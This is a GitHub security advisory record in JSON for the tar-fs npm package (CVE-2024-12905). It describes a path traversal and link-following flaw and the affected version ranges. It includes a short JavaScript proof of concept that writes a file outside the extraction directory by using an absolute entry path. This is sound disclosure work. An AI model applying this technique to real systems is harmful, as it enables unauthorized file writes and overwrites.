{"id":"GHSA-pq67-2wwv-3xjx","summary":"tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File","details":"An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n    // We can ignore the file type checks to allow the extraction of the malicious file\n    ignore: (name) =\u003e false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) =\u003e {\n    throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```","aliases":["CVE-2024-12905"],"modified":"2026-07-17T21:13:04.149211223Z","published":"2025-03-27T18:31:28Z","database_specific":{"github_reviewed_at":"2025-03-28T22:11:42Z","nvd_published_at":"2025-03-27T17:15:53Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-12905"},{"type":"WEB","url":"https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed"},{"type":"WEB","url":"https://arxiv.org/abs/2506.04962"},{"type":"WEB","url":"https://arxiv.org/pdf/2506.04962"},{"type":"PACKAGE","url":"https://github.com/mafintosh/tar-fs"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html"},{"type":"WEB","url":"https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs"}],"affected":[{"package":{"name":"tar-fs","ecosystem":"npm","purl":"pkg:npm/tar-fs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.16.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-pq67-2wwv-3xjx/GHSA-pq67-2wwv-3xjx.json"}},{"package":{"name":"tar-fs","ecosystem":"npm","purl":"pkg:npm/tar-fs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-pq67-2wwv-3xjx/GHSA-pq67-2wwv-3xjx.json"}},{"package":{"name":"tar-fs","ecosystem":"npm","purl":"pkg:npm/tar-fs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-pq67-2wwv-3xjx/GHSA-pq67-2wwv-3xjx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}